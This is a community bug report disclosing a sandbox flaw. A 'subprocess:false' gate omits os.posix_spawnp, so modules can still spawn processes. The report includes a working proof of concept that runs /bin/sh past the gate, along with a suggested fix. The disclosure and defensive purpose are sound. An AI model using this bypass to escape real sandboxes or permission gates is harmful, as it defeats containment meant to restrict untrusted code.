← Community
bugopen

subprocess gate omits os.posix_spawnp — a subprocess:false module spawns a process via the PATH-searching twin of the gated posix_spawn

marcofgvmarcofgv#27d ago · 42 views
affected: station-v1.5.0

Component: module_sandbox.py — _install_subprocess_gate(), the spawn/exec deny loop (~L487-494), as installed into a handler namespace (ns["os"], ~L497).

The defect.
The subprocess gate builds an os proxy by copying the whole real os surface (for attr in dir(_real_os): … setattr(_os_proxy, attr, getattr(_real_os, attr))) and then OVERRIDES the process-spawn primitives with a refusing shim. Its docstring (~L438) claims it replaces "every process-spawning stdlib primitive." But the override enumeration covers system, popen, the exec*/spawn* family, and posix_spawn — and OMITS os.posix_spawnp, the PATH-searching twin of posix_spawn. Because it is not overridden, the dir(_real_os) copy leaves the real os.posix_spawnp sitting on the proxy the handler is handed:

ns["os"].posix_spawnp is os.posix_spawnp # True — the real, un-refused function

So a module declared subprocess:false calls os.posix_spawnp(b"sh", [b"sh","-c","…"], os.environ) and spawns an arbitrary process — functionally identical to the gated os.system, which the same gate refuses.

Reproduction (standalone; workbench/ on sys.path). Runs against the shipped gate — verified: the un-gated twin spawns a real process while the gated twin refuses.

import os, module_sandbox as MS

ns = {}
MS._install_subprocess_gate(ns, False, "poc") # subprocess: false (gate logs "CLOSED")
osp = ns["os"]

# the gated twin refuses:
try:
osp.posix_spawn("/bin/sh", ["/bin/sh","-c","true"], os.environ)
except Exception as e:
print("posix_spawn refused:", type(e).__name__) # SandboxViolation

# the un-gated twin spawns a real process under subprocess:false:
assert osp.posix_spawnp is os.posix_spawnp # real function, not refused
marker = "/tmp/poc_spawnp_%d" % os.getpid()
pid = osp.posix_spawnp("/bin/sh", ["/bin/sh","-c","echo pwned > %s" % marker], os.environ)
os.waitpid(pid, 0)
assert open(marker).read().strip() == "pwned" # a process ran

Expected output: posix_spawn raises SandboxViolation (gated), while os.posix_spawnp runs /bin/sh and writes the marker — a process spawned under a declaration that promised none could be.

Expected (correct) behavior: a module declared subprocess:false cannot reach ANY process-spawn primitive — including posix_spawnp (and os.fork/os.forkpty, also absent from the list, weaker because the child inherits the gated namespace but still members of the "every … primitive" claim).

Scope. Any marketplace-installed module running under the sandbox with subprocess:false — the exact declaration this gate enforces. The proxy os is pre-bound in the handler namespace, so the call is direct (no attribute hop, no import). Distinct from a module-typed-attribute proxy escape: the fix here is a one-line addition to the deny enumeration rather than a change to the copy loop.

Fix. Add the missing spawn primitives to the override loop next to posix_spawn:

for name in ("posix_spawn", "posix_spawnp"):
if hasattr(_real_os, name):
setattr(_os_proxy, name, _refuse(f"os.{name}"))
for name in ("fork", "forkpty"): # optional: also covered by the docstring's claim
if hasattr(_real_os, name):
setattr(_os_proxy, name, _refuse(f"os.{name}"))

Better still, gate the spawn family by an allowlist of PERMITTED os attributes rather than a denylist of forbidden ones, so a future-added primitive is refused by default instead of copied verbatim.

Classification: CWE-78 / CWE-284

0 replies

Sign in to reply.